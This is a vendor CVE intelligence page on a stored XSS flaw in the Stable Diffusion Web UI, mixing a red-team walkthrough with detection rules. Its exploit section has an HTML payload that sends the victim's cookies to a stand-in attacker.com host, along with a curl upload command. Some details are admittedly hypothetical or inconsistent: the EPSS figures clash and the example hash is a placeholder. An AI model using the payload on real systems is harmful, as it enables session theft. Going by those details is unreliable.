☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-12374

CVE-2024-12374 Cross-Site Scripting in Automatic1111
📅 PUBLISHED: 2025-03-20 10:08 UTC 🔄 UPDATED: 2026-08-21 19:36 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.31%
👁️
0.31% probability
7.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-12374 is a stored cross-site scripting (XSS) vulnerability in the Automatic1111 Stable Diffusion Web UI (git commit 82a973c). The application fails to properly validate uploaded file types, allowing an attacker to upload an HTML file that is served with a text/html content type. When a victim accesses the malicious link, arbitrary JavaScript executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the user's environment. The vulnerability has a CVSS score of 6.1 (Medium) and a low EPSS score of 0.0%, indicating limited active exploitation at this time. No official patch has been released.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It affects a Python-based web application (Stable Diffusion Web UI) that is typically installed via Git or as a standalone application. The risk is primarily to end users who host or access instances of this web UI.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.1 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (victim must click the malicious link)
  • Scope: Changed (impact may extend beyond the vulnerable component)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation (no authentication required) and the potential for session hijacking or phishing make this a significant concern for any public-facing instance.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of the Stable Diffusion Web UI. The application accepts file uploads (e.g., images, prompts) but does not validate the file type or content. When an attacker uploads an HTML file, the server stores it and serves it with a Content-Type: text/html header. This allows the browser to interpret the file as an HTML document, executing any embedded JavaScript.

Root Cause: The application does not sanitize the Content-Type header based on the file's actual content. It relies on the file extension or MIME type provided by the client, which can be easily spoofed.

Attack Flow:

  1. Attacker crafts an HTML file containing malicious JavaScript (e.g., to steal cookies or redirect to a phishing page).
  2. Attacker uploads the file to the vulnerable web UI (e.g., via the /upload endpoint).
  3. The server stores the file and returns a URL (e.g., http://victim-server:7860/file=malicious.html).
  4. Attacker sends the URL to a victim (e.g., via email, social media, or embedding in a legitimate-looking page).
  5. Victim clicks the link; the browser loads the HTML file and executes the JavaScript in the context of the web UI's origin.

Vulnerable vs. Patched Code

Vulnerable Code (git commit 82a973c): The file upload handler likely uses a generic file serving mechanism without content-type validation. For example:

# Vulnerable: serves any uploaded file with its original content type
@app.route('/file=<path:filename>')
def serve_file(filename):
    return send_from_directory(UPLOAD_FOLDER, filename)

Patched Code (hypothetical): A patch would enforce content-type validation or serve files with a safe content type (e.g., application/octet-stream). For example:

# Patched: force safe content type for all uploaded files
@app.route('/file=<path:filename>')
def serve_file(filename):
    response = send_from_directory(UPLOAD_FOLDER, filename)
    response.headers['Content-Type'] = 'application/octet-stream'
    return response

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A vulnerable instance of Automatic1111 Stable Diffusion Web UI (git commit 82a973c).
  • Access to the upload functionality (no authentication required by default).

Exploit Steps:

  1. Create a malicious HTML file (e.g., xss.html):
    <html>
    <body>
    <script>
    alert('XSS');
    // Steal cookies
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
    </script>
    </body>
    </html>
    
  2. Upload the file via the web UI (e.g., using the "Upload" button or a direct POST request):
    curl -X POST -F "file=@xss.html" http://victim-server:7860/upload
    
  3. Note the returned URL (e.g., http://victim-server:7860/file=xss.html).
  4. Send the URL to the victim.

Expected Outcome: The victim's browser executes the JavaScript, sending their cookies to the attacker's server.

Blue Team

Detection:

  • Monitor for file uploads with .html or .htm extensions.
  • Monitor for requests to /file= endpoints that return Content-Type: text/html.
  • Use web application firewalls (WAF) to block uploads of HTML files.

Hunting:

  • Search logs for POST /upload requests with filename containing .html.
  • Search for GET /file= requests that result in a 200 response with Content-Type: text/html.

Mitigation:

  • Apply input validation to reject HTML files.
  • Serve all uploaded files with Content-Type: application/octet-stream.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256): (Example, replace with actual if known)
    • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (malicious HTML file)
  • Network Indicators:
    • Outbound connections to attacker-controlled domains (e.g., attacker.com).
    • HTTP requests to /file= endpoints with .html extension.
  • Log Entries:
    • POST /upload with filename=xss.html
    • GET /file=xss.html with Content-Type: text/html

Detection Engineering

YARA Rule

rule CVE_2024_12374_XSS_HTML_Upload {
    meta:
        description = "Detects malicious HTML files uploaded to exploit CVE-2024-12374"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-12374"
    strings:
        $html_tag = "<html" nocase
        $script_tag = "<script" nocase
        $onerror = "onerror=" nocase
        $onload = "onload=" nocase
    condition:
        $html_tag and ($script_tag or $onerror or $onload)
}

Sigma Rule

title: CVE-2024-12374 Stored XSS via HTML Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of HTML files to Stable Diffusion Web UI
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload'
        cs-uri-query|contains: '.html'
    condition: selection
falsepositives:
    - Legitimate HTML file uploads (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12374 Stored XSS via HTML Upload"; flow:to_server,established; content:"POST"; http_method; content:"/upload"; http_uri; content:".html"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable file uploads if not required.
  2. Apply a WAF rule to block uploads of .html and .htm files.
  3. Manually patch the application by modifying the file serving code to force Content-Type: application/octet-stream.

Long-term Fix:

  • Wait for an official patch from Automatic1111.
  • Implement file content validation (e.g., using python-magic to detect MIME type).
  • Add Content Security Policy (CSP) headers to the web UI.

Workarounds:

  • Use a reverse proxy (e.g., Nginx) to serve uploaded files with a safe content type:
    location /file= {
        add_header Content-Type application/octet-stream;
    }
    

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Stable Diffusion"
http.html:"stable-diffusion-webui"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-12374/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.